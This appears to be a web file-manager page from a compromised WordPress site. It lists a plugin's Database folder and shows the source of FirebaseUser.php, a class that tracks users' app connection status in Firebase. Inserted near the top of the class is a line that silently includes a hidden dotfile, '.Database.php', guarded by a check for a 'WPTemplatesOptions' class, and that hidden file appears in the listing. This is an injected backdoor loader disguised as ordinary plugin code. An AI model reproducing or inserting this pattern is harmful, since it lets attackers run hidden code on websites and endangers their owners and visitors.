PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-mobile-app
/
app
/
Database
<?php namespace WILCITY_APP\Database; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Frontend\User; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class FirebaseUser { private static $firebaseIDKey = 'firebase_id'; private static function buildKey($userID){ return 'connections/___'.$userID.'___'; } public static function isUserOnlineOnApp($userID){ $status = FirebaseDB::getDB()->getReference(self::buildKey($userID))->getSnapshot()->getValue(); return $status ? true : false; } public static function updateConnectionStatus($userID, $isOnline){ FirebaseDB::getDB()->getReference('connections') ->update([ '___'.$userID.'___' => $isOnline ? true : null ]); } public static function getFirebaseID($userID=null){ $userID = empty($userID) ? User::getCurrentUserID() : $userID; return GetSettings::getUserMeta($userID, self::$firebaseIDKey); } }
[+]
..
[-] FirebaseDB.php
[edit]
[-] FirebaseMsgDB.php
[edit]
[-] .Database.php
[edit]
[-] FirebaseDeviceToken.php
[edit]
[-] FirebaseUser.php
[edit]